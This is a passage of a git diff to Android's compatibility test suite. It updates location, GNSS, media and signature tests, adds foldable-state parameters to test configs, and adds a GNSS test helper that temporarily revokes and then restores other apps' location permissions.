+            mManager.requestLocationUpdates(TEST_PROVIDER, new LocationRequest.Builder(
+                            0).setQuality(
+                            QUALITY_HIGH_ACCURACY).build(),
+                    Executors.newSingleThreadExecutor(), capture3);
+            assertThat(opCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(opHighPowerCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+
+            mManager.removeUpdates(capture2);
+            assertThat(opCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(opHighPowerCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+
+            mManager.removeUpdates(capture3);
+            assertThat(opCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+            assertThat(opHighPowerCapture.getNextActive(TIMEOUT_MS)).isFalse();
+
+            mManager.removeUpdates(capture1);
+            assertThat(opCapture.getNextActive(TIMEOUT_MS)).isFalse();
+            assertThat(opHighPowerCapture.getNextActive(FAILURE_TIMEOUT_MS)).isNull();
+        }
+    }
+
+    @Test
     @AppModeFull(reason = "Instant apps can't hold INTERACT_ACROSS_USERS permission")
     public void testAddProviderRequestListener() throws Exception {
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/location/location_gnss/AndroidManifest.xml b/tests/location/location_gnss/AndroidManifest.xml
index f463c37..49f1368 100644
--- a/tests/location/location_gnss/AndroidManifest.xml
+++ b/tests/location/location_gnss/AndroidManifest.xml
@@ -25,6 +25,7 @@
     <uses-permission android:name="android.permission.INTERNET"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.READ_SMS"/>
     <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
diff --git a/tests/location/location_gnss/AndroidTest.xml b/tests/location/location_gnss/AndroidTest.xml
index 7288bff..e565d5d 100644
--- a/tests/location/location_gnss/AndroidTest.xml
+++ b/tests/location/location_gnss/AndroidTest.xml
@@ -18,7 +18,8 @@
     <option name="config-descriptor:metadata" key="component" value="location" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index e23dd84..c872070 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -1,38 +1,67 @@
 package android.location.cts.gnss;
 
+
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.SoftAssert;
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.List;
+
 public class GnssStatusTest extends GnssTestCase  {
 
     private static final String TAG = "GnssStatusTest";
     private static final int LOCATION_TO_COLLECT_COUNT = 1;
     private static final int STATUS_TO_COLLECT_COUNT = 3;
+    private UiAutomation mUiAutomation;
 
   @Override
   protected void setUp() throws Exception {
     super.setUp();
     mTestLocationManager = new TestLocationManager(getContext());
+    mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
   }
 
   /**
    * Tests that one can listen for {@link GnssStatus}.
    */
+  @AppModeFull(reason = "Instant apps cannot access package manager to scan for permissions")
   public void testGnssStatusChanges() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
     if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
-    // Register Gps Status Listener.
-    TestGnssStatusCallback testGnssStatusCallback =
-        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
-    checkGnssChange(testGnssStatusCallback);
+    // Revoke location permissions from packages before running GnssStatusTest stops
+    // active location requests, allowing this test to receive all necessary Gnss callbacks.
+    List<String> courseLocationPackages = revokePermissions(ACCESS_COARSE_LOCATION);
+    List<String> fineLocationPackages = revokePermissions(ACCESS_FINE_LOCATION);
+
+    try {
+        // Register Gps Status Listener.
+        TestGnssStatusCallback testGnssStatusCallback =
+            new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+        checkGnssChange(testGnssStatusCallback);
+    } finally {
+        // For each location package, re-grant the permission
+        grantLocationPermissions(ACCESS_COARSE_LOCATION, courseLocationPackages);
+        grantLocationPermissions(ACCESS_FINE_LOCATION, fineLocationPackages);
+    }
   }
 
   private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
@@ -126,4 +155,55 @@
       Log.i(TAG, "usedInFix: " + status.usedInFix(i));
     }
   }
+
+  private List<String> getPackagesWithPermissions(String permission) {
+    Context context = InstrumentationRegistry.getTargetContext();
+    PackageManager pm = context.getPackageManager();
+
+    ArrayList<String> packagesWithPermission = new ArrayList<>();
+    List<ApplicationInfo> packages = pm.getInstalledApplications(/*flags=*/ 0);
+
+    for (ApplicationInfo applicationInfo : packages) {
+      String packageName = applicationInfo.packageName;
+      if (packageName.equals(context.getPackageName())) {
+        // Don't include this test package.
+        continue;
+      }
+
+      if (pm.checkPermission(permission, packageName) == PackageManager.PERMISSION_GRANTED) {
+        final int flags;
+        mUiAutomation.adoptShellPermissionIdentity("android.permission.GET_RUNTIME_PERMISSIONS");
+        try {
+          flags = pm.getPermissionFlags(permission, packageName,
+                    android.os.Process.myUserHandle());
+        } finally {
+          mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        final boolean fixed = (flags & (PackageManager.FLAG_PERMISSION_USER_FIXED
+            | PackageManager.FLAG_PERMISSION_POLICY_FIXED
+            | PackageManager.FLAG_PERMISSION_SYSTEM_FIXED)) != 0;
+        if (!fixed) {
+          packagesWithPermission.add(packageName);
+        }
+      }
+    }
+    return packagesWithPermission;
+  }
+
+  private List<String> revokePermissions(String permission) {
+    List<String> packages = getPackagesWithPermissions(permission);
+    for (String packageWithPermission : packages) {
+      Log.i(TAG, "Revoking permissions from: " + packageWithPermission);
+      mUiAutomation.revokeRuntimePermission(packageWithPermission, permission);
+    }
+    return packages;
+  }
+
+  private void grantLocationPermissions(String permission, List<String> packages) {
+    for (String packageToGivePermission : packages) {
+      Log.i(TAG, "Granting permissions (back) to: " + packageToGivePermission);
+      mUiAutomation.grantRuntimePermission(packageToGivePermission, permission);
+    }
+  }
 }
diff --git a/tests/location/location_none/AndroidTest.xml b/tests/location/location_none/AndroidTest.xml
index 89ef9e7..6af14e1 100644
--- a/tests/location/location_none/AndroidTest.xml
+++ b/tests/location/location_none/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/location/location_privileged/AndroidTest.xml b/tests/location/location_privileged/AndroidTest.xml
index 3c0efa9..d46f57b 100644
--- a/tests/location/location_privileged/AndroidTest.xml
+++ b/tests/location/location_privileged/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 1ce5be4..02f2aca 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
-        <option name="media-folder-name" value="CtsMediaV2TestCases-1.13" />
+        <option name="media-folder-name" value="CtsMediaV2TestCases-1.14" />
         <option name="dynamic-config-module" value="CtsMediaV2TestCases" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index ad4a006..572610a 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
 <dynamicConfig>
     <entry key="media_files_url">
-      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip</value>
+      <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index 695ac32..db6eb11 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@
 
 The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
 
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.13.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-1.14.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
 
 The test suite looks to cover sdk/ndk api in normal and error scenarios. Error scenarios are separated from regular usage and are placed under class *UnitTest (MuxerUnitTest, ExtractorUnitTest, ...).
 
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index c89ea8f..0adef28 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
 ## script to install mediav2 test files manually
 
 adbOptions=" "
-resLabel=CtsMediaV2TestCases-1.13
+resLabel=CtsMediaV2TestCases-1.14
 srcDir="/tmp/$resLabel"
 tgtDir="/sdcard/test"
 usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
index e803863..ae9054f 100644
--- a/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
+++ b/tests/media/src/android/mediav2/cts/AdaptivePlaybackTest.java
@@ -219,6 +219,7 @@
             queueEOS();
             waitForAllOutputs();
             mCodec.reset();
+            mCodec.release();
         }
         tearDownSurface();
     }
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9490d69..698eb6b 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-1.13/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.14/");
         }
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index e493dcd..431425f 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -74,7 +74,7 @@
             // Verify minimum screen density and resolution
             assertMinDpiAndPixels(context, DENSITY_400, 1920, 1080);
             // Verify minimum memory
-            assertMinMemoryMb(context, 6 * 1024);
+            assertMinMemoryMb(context, 5 * 1024);
         }
     }
 
diff --git a/tests/mocking/AndroidTest.xml b/tests/mocking/AndroidTest.xml
index 73759b0..de92326 100644
--- a/tests/mocking/AndroidTest.xml
+++ b/tests/mocking/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/debuggable/AndroidTest.xml b/tests/mocking/debuggable/AndroidTest.xml
index 95db765..33240ef 100644
--- a/tests/mocking/debuggable/AndroidTest.xml
+++ b/tests/mocking/debuggable/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/mocking/inline/AndroidTest.xml b/tests/mocking/inline/AndroidTest.xml
index 0c83c25..57f4ed3 100644
--- a/tests/mocking/inline/AndroidTest.xml
+++ b/tests/mocking/inline/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
--- a/tests/musicrecognition/AndroidTest.xml
+++ b/tests/musicrecognition/AndroidTest.xml
@@ -22,6 +22,7 @@
   <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
   <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index fdc373f..d7fc0d2 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/rotationresolverservice/AndroidTest.xml b/tests/rotationresolverservice/AndroidTest.xml
index 0ea0dc2..b724408 100644
--- a/tests/rotationresolverservice/AndroidTest.xml
+++ b/tests/rotationresolverservice/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRotationResolverServiceDeviceTestCases.apk" />
@@ -28,4 +29,4 @@
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.rotationresolverservice.cts" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
index 5094d17..9f6215b 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
@@ -36,7 +36,7 @@
  * A helper class to test sensor APIs related to sampling rates of SensorEventConnections.
  */
 public class SensorRatePermissionEventConnectionTestHelper {
-    public static final int CAPPED_SAMPLE_RATE_HZ = 220; // Capped rate 200 Hz + 10% headroom
+    public static final int CAPPED_SAMPLE_RATE_HZ = 270; // Capped rate 200 Hz + headroom
     // Set of sensors that are throttled
     public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
             Sensor.TYPE_ACCELEROMETER,
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index 5e7ff3b..96f3a9a 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -53,6 +53,18 @@
     compile_multilib: "both",
 }
 
+// Defaults for signature api checks with dynamic config.
+java_defaults {
+    name: "signature-api-check-dynamic-config-defaults",
+    defaults: ["signature-api-check-defaults"],
+    defaults_visibility: [
+        "//cts/tests/signature:__subpackages__",
+    ],
+    static_libs: [
+        "cts-signature-with-dynamic-config",
+    ],
+}
+
 // Defaults for hiddenapi killswitch checks.
 java_defaults {
     name: "hiddenapi-killswitch-check-defaults",
@@ -80,7 +92,7 @@
 // Defaults for hiddenapi blocklist checks.
 java_defaults {
     name: "hiddenapi-blocklist-check-defaults",
-    defaults: ["signature-api-check-defaults"],
+    defaults: ["signature-api-check-dynamic-config-defaults"],
     java_resources: [
         ":platform-bootclasspath{hiddenapi-flags.csv}",
         ":cts-api-hiddenapi-filter-csv"
@@ -89,3 +101,12 @@
         "libcts_dexchecker",
     ],
 }
+
+// The CtsHiddenApiBlocklistApiDynamicConfig file is intended to be used by
+// multiple CtsHiddenApiBlocklist...TestCases.
+filegroup {
+    name: "CtsHiddenApiBlocklistApiDynamicConfig",
+    srcs: [
+      "CtsHiddenApiBlocklistApiDynamicConfig.dynamic",
+    ],
+}
diff --git a/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic b/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic
new file mode 100644
index 0000000..6bd4f15
--- /dev/null
+++ b/tests/signature/api-check/CtsHiddenApiBlocklistApiDynamicConfig.dynamic
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 Google Inc.
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+    <entry key ="expected_failures">
+        <!--
+         ! Each value in this section identifies an expected failure and is of the
+         ! form:
+         !    <failure-type>:<signature of class/member>
+         !
+         ! These entries are loaded by AnnotationTest which uses them to construct
+         ! an ExpectedFailuresFilter which discards them.
+         !
+         ! e.g. If the test fails with the following error message:
+         ! repackaged.junit.framework.AssertionFailedError:
+         ! extra_class:	android.media.MediaParceledListSlice	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_class:	android.media.MediaFrameworkInitializer	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_interface:	android.media.MediaCommunicationManager$SessionCallback	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! extra_class:	android.media.MediaTranscodingManager	Error: Class annotated with android.annotation.SystemApi does not exist in the documented API
+         ! ClassLoader hierarchy
+         !
+         ! The first step is to check that the extra classes are expected (e.g.
+         ! because they have been annotated with the @SystemApi since this version
+         ! of the CTS tests were released and the tests are being run on an
+         ! Android system with a version of the mainline modules that includes
+         ! those changes.
+         !
+         ! If they are not expected then this must be caused by a partner
+         ! inadvertently adding something to the @SystemApi so the correct
+         ! response is for them to stop doing that.
+         !
+         ! If they are expected then additional entries should be added to this
+         ! section. That simply requires copying each error message into their own
+         ! <value></value> element and then removing the whitespace after the
+         ! first : and also removing the trailing " Error: ..." part (including
+         ! the leading white space).
+         !
+         ! See below for some examples.
+         !-->
+        <!-- Bug: 204723907 -->
+        <value>extra_field:int android.net.wifi.ScanResult.UNSPECIFIED</value>
+        <value>extra_method:boolean android.net.wifi.WifiInfo.isTrusted()</value>
+        <value>extra_method:long[] android.net.wifi.hotspot2.pps.HomeSp.getMatchAllOis()</value>
+        <value>extra_method:long[] android.net.wifi.hotspot2.pps.HomeSp.getMatchAnyOis()</value>
+        <value>extra_method:void android.net.wifi.hotspot2.pps.HomeSp.setMatchAllOis(long[])</value>
+        <value>extra_method:void android.net.wifi.hotspot2.pps.HomeSp.setMatchAnyOis(long[])</value>
+        <!--
+         ! Add any new entries before this.
+         !
+         ! Note: Due to limitations within the build changes to this file it is
+         ! necessary to build CtsHiddenApiBlocklistCurrentApiTestCases in order
+         ! for changes to this file to take effect.
+         !-->
+    </entry>
+</dynamicConfig>
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
index fb25987..03fdcad 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestBase28ApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index 442d96c..6a3668b 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index 3b33934..2f74b89 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index 015caf0..aa3b671 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index 0fc1925..105e1e8 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacy27ApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 89b7748..0ffbb80 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 12dcf9b..9ceabf8 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases.apk" />
diff --git a/tests/signature/api-check/current-api/AndroidTest.xml b/tests/signature/api-check/current-api/AndroidTest.xml
index 8d39bd7..382158c 100644
--- a/tests/signature/api-check/current-api/AndroidTest.xml
+++ b/tests/signature/api-check/current-api/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
index 86cb1ee..57d059f 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
+++ b/tests/signature/api-check/hidden-api-blocklist-27-api/Android.bp
@@ -28,4 +28,12 @@
         "cts",
         "general-tests",
     ],
+    // Ideally the following should be uncommented but unfortunately due to
+    // limitations in the build that causes build failures due to duplicate copy
+    // rules being generated. In the meantime it is necessary to build
+    // CtsHiddenApiBlocklistCurrentApiTestCases before running this test to
+    // pick up any changes to CtsHiddenApiBlocklistApiDynamicConfig.dynamic.
+    // data: [
+    //     ":CtsHiddenApiBlocklistApiDynamicConfig",
+    // ],
 }
diff --git a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
index fdf5bfa..b90dd17 100644
--- a/tests/signature/api-check/hidden-api-blocklist-27-api/AndroidTest.xml
